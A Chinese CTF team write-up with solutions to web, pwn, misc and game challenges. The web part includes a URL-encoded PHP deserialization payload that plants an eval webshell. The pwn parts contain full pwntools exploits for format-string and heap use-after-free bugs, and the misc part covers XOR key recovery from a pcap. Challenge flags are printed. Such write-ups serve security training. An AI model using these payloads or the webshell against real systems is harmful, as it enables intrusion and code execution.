西提艾弗战队 WriteUp

排名

战队名称：第 17 名

[排行榜截图]

web

浅析 PHP 原生类

检查源码发现反序列化漏洞，可将生成的 install 对象进行序列化数据后利用 data 写入 config.php 文件，但是 install.lock 存在，但是 Until 内有__invoke 魔法函数，同时 ZipArchive 构造无需参数，open 可删除文件，故可以对 install 对象进行嵌套：生成一个 until 对象，设置参数为 ZipArchive，install.lock，8，然后生成一个 install 对象，用户名为这个 until 对象，password 为<?php @eval($_POST["cmd"]); ?>以便在

进行上传以后利用这个一句话木马，最后再生成一个 install 对象，username 设置为该对象，password 随意，这样在上传以后，反序列化执行时会先调用 ZipArchive 的 open 函数删除 install.lock，然后再将 username 内容传入 config.php，其中其他内容会被当做普通文本输出，而<?php @eval($_POST["cmd"]); ?>就是我们可以执行的代码，然后 install.lock 生成，后续解析下一个 install 对象时不会再生成 config.php，从而保证我们的木马在云端，接下来对其使用 post 函数传参”cmd=system('ls /');找到 flag 位置再使用 cmd=system('cat /flag');即可 上传恶意 php 命令：
/?data=O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A30%3A%22%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7D

pwn

我最好的初代同事

格式化字符串，先随机两个数，过一个求和检查，其实发现可以接收再发送和，但是第一直觉想到之前写过的随机数撞库，就粘贴过来了，然后给 3 次 0x10 的格式化字符串，无法自己传入栈上数据，就在栈上寻找，打普通格式化字符串，修改返回地址即可。

```
from pwn import *
from pwncli import *
from pwn_std import *
context(arch='amd64', os='linux', log_level='debug')
# p = getProcess('113.201.14.253',62836,'./fmt')
# p = remote('113.201.14.253',44827)
p = process('./fmt')
elf = ELF('./fmt')
libc = ELF('./libc.so.6')
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
def debug(x=''):
    gdb.attach(p,x)
    pause()
from ctypes import *
import time
def predict_canary_simple():
    """最简单的 canary 值预测"""
    # 加载 C 标准库
    libc = CDLL("./libc.so.6")
    # 使用当前时间作为种子（这是关键！）
    current_time = int(time.time())
    libc.srand(current_time)
    # 生成随机数并取模
    random_val1 = libc.rand()
    random_val2 = libc.rand()
```

```
    num1 = random_val1 % 100
    num2 = random_val2 % 100
    print(f"预测的 canary 值: {num1})")
    print(f"预测的 canary 值: {num2})")
    return num1, num2
num1,num2= predict_canary_simple()
ans = num1 + num2
print(f"预测的 canary 总和: {ans})")
p.recvuntil(b'Please calculate five simple additions\n')
sla(b'\n', str(ans))
sla(b'\n', str(ans))
sla(b'\n', str(ans))
sla(b'\n', str(ans))
sla(b'\n', str(ans))

success = 0x14cf
sla(b'[2]leave\n', '1')
sla(b'Input:\n','%10$p'.encode())
p.recvuntil(b':')
rbp = int(p.recvuntil(b'\n', drop=True), 16)
print('rbp:', hex(rbp))

sla(b'[2]leave\n', '1')
kk = rbp - 0x18
kk = (kk & 0xffff)
payload = '%'+str(kk)+'c%36$hn'
payload = payload.encode().ljust(0x10, b'a')
sa(b'Input:\n',payload)

sla(b'[2]leave\n', '1')
payload1 = '%'+str(0xe3)+'c%49$hhn'
payload1 = payload1.encode().ljust(0x10, b'b')
sa(b'Input:\n',payload1)

ita()
```

我不吃牛肉

2.23 的堆，申请大堆块用 uaf 泄露 libc，打 malloc_hook，有个随机数撞库。

```
from pwn import *
from ctypes import CDLL
import time
from pwncli import *
from pwn_std import *
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn')
e=ELF('./pwn')
libc=ELF('./libc.so.6')
def debug():
    attach(p)
    pause()
libc = CDLL('./libc.so.6')
from ctypes import CDLL
import time
def predict_canary_simple(num):
    """
    找到使 rand() % 4 = num 的seed 值
```

```
    :param num: 0, 1, 2, 或 3
    :return: seed 值
    """
    libc = CDLL('./libc.so.6')
    if num not in [0, 1, 2, 3]:
        raise ValueError("num 必须是 0, 1, 2, 或 3")
    # 在绝大多数 libc 实现中，这个映射是有效的
    seed = num
    libc.srand(seed)
    actual_result = libc.rand() % 4
    if actual_result == num:
        return seed
    else:
        # 如果验证失败，搜索下一个可用的 seed
        for test_seed in range(4, 100):
            libc.srand(test_seed)
            if libc.rand() % 4 == num:
                return test_seed
        return 0  # 默认返回 0

def choose(num):
    p.sendlineafter(b'choice:',str(num))
def add(num,size):
    choose(predict_canary_simple(0))
    p.sendlineafter(b'index:',str(num))
    p.sendlineafter(b'size',str(size))

def delete(num):
    choose(predict_canary_simple(1))
    p.sendlineafter(b'index:',str(num))

def edit(num,size,content):
    choose(predict_canary_simple(2))
    p.sendlineafter(b'index:',str(num))
    p.sendlineafter(b'length:',str(size))
    p.sendafter(b'content:',content)

def show(num):
    choose(predict_canary_simple(3))
    p.sendlineafter(b'index:',str(num))


add(0,0x400)
add(1,0x400)
add(2,0x60)
add(3,0x60)
delete(1)
show(1)
p.recv(1)
libcaddr=u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b78
print('libcaddr',libcaddr)


libc=ELF('./libc.so.6')
malloc_hook  = libc.sym['__malloc_hook'] + libcaddr
free_hook = libc.sym['__free_hook']+libcaddr
systemaddr=libcaddr+libc.sym['system']
print('free_hook',free_hook)
print('malloc_hook',malloc_hook)
```

```
gds=[0x4527a,0xf03a4,0xf1247]
gadget=libcaddr+gds[1]
edit(0,8,b'/bin/sh\x00')
add(1,0x400)
delete(2)
edit(2,0x8,p64(malloc_hook-0x23))
add(4,0x60)
add(5,0x60)
edit(5,0x60,b'a'*0x13+p64(systemaddr))
choose(predict_canary_simple(0))
sla(b'index:',str(7))
sla(b'size',str(0x18ce57 +libcaddr))
p.interactive()
```

misc

bb84

1. 题目讲了个啥?

这题给了一个叫 `bb84_attack.pcapng` 的网络流量包，模拟了一个"量子密钥分发"系统。听起来很高大上，但其实就是个加密聊天记录。我们的目标就是**把密钥搞出来，然后解密聊天记录找到 flag**。

2. 流量包里都有啥?

用工具打开流量包，发现有四类数据：

第一类（Packet 0）： `SEED:123456789`

- **这就是个随机数种子。正常量子加密应该用真随机数，但这题为了让我们能破解，用了固定种子。相当于出题人把"密码本"的生成规律告诉我们了。

第二类（Packet 1）： `XOR_KEY:8660ace90c0352f3`

- 这是个 8 字节的密钥片段，后面会用到。

第三类（Packet 2）： `x++x+x+xx++x+xxxxx++x+xxxxxx++x+`

- 一堆加号和叉号，代表量子加密里用的"测量基"。但这题里其实**用不上**，出题人放出来迷惑你的。

第四类（Packet 3-98）： 加密的二进制数据

- 这才是真正要解密的聊天记录，flag 就藏在里面。

3. 怎么破解

第一步：猜（已知明文攻击）

做 CTF 题有个套路：凡是加密数据，第一个包经常包含 `flag{...}`。

- **密文开头**：`e9 17 c4 95 7e`
- **我们猜测**：明文是 `flag{`（十六进制是 `66 6c 61 67 7b`）

加密方式大概率是**异或（XOR）**，就是小学学的"相同为 0，不同为 1"。我们拿密文异或明文，就能推导出密钥的前 5 个字节：

```
0xe9 ^ 0x66 = 0x8f
0x17 ^ 0x6c = 0x7b
0xc4 ^ 0x61 = 0xa5
0x95 ^ 0x67 = 0xf2
0x7e ^ 0x7b = 0x05
```

算出来密钥开头是：`8f 7b a5 f2 05`

第二步：找规律

题目给的 `XOR_KEY` 是：`86 60 ac e9 0c 03 52 f3`

我们把推导出的密钥和题目给的 `XOR_KEY` 再异或一次：

```
0x8f ^ 0x86 = 0x09
0x7b ^ 0x60 = 0x1b
0xa5 ^ 0xac = 0x09
0xf2 ^ 0xe9 = 0x1b
0x05 ^ 0x0c = 0x09
```

发现没？结果一直在重复 `09 1b 09 1b ...` 这说明：**真正的密钥 = XOR_KEY ⊕ (09 1b 循环)**

第三步：算出完整密钥

把 `XOR_KEY` 的每个字节都和 `09 1b` 这个模式异或：

- **XOR_KEY**: `86 60 ac e9 0c 03 52 f3`
- **重复掩码**: `09 1b 09 1b 09 1b 09 1b`
- **真正密钥**: `8f 7b a5 f2 05 18 5b e8`

4. 解密拿 flag

用算出的密钥把所有加密包（Packet 3-98）循环异或解密。

- 前面 90 多个包解密出来都是假 flag：`flag{3115684424-This is a fake flag}`

- **直到最后一个包（Packet 98）**，真 flag 出来了：
  `flag{9175782b167d00375b412a8dbd1df763}`

5. 代码

```
from scapy.all import *
import binascii

# 配置文件名和题目给的 XOR_KEY
pcap_file = "bb84_attack.pcapng"
xor_key_hex = "8660ace90c0352f3"

def solve():
    print(f"[*] 正在打开流量包 {pcap_file}...")

    # 1. 算出真正的密钥
    # 规律：真密钥 = XOR_KEY ^ (09 1b 循环)
    xor_key_bytes = binascii.unhexlify(xor_key_hex)
    pattern = bytes([0x09, 0x1b])  # 发现的重复模式
    real_key = bytes([b ^ pattern[i % 2] for i, b in
enumerate(xor_key_bytes)])

    print(f"[*] 算出的密钥是: {real_key.hex()}")

    # 2. 读取所有数据包并解密
    packets = rdpcap(pcap_file)
    print(f"[*] 共找到 {len(packets)} 个包，开始解密...")

    for i, pkt in enumerate(packets):
        if Raw in pkt:  # 如果有数据内容
            payload = pkt[Raw].load
            # 跳过短包（SEED、XOR_KEY、Bases 这些元数据）
            if len(payload) < 33:
                continue

            # 循环异或解密
            decrypted = bytes([b ^ real_key[i % len(real_key)] for i, b in
enumerate(payload)])

            try:
                # 尝试解码并查找 flag
                decrypted_text = decrypted.decode('utf-8')
                if "flag{" in decrypted_text and "fake" not in
decrypted_text:
                    print(f"[+] 在第 {i} 个包找到真 Flag: {decrypted_text}")
            except:
                pass  # 解码失败就跳过

if __name__ == "__main__":
    solve()
```

Game

我勒个超级玛丽奥

打开容器，右键，依次选 applications->shells->bash 进入命令行界面，再 cd flags;cat * 得到 flag

flag{5b1563359282a180057bc04f529d3cc2}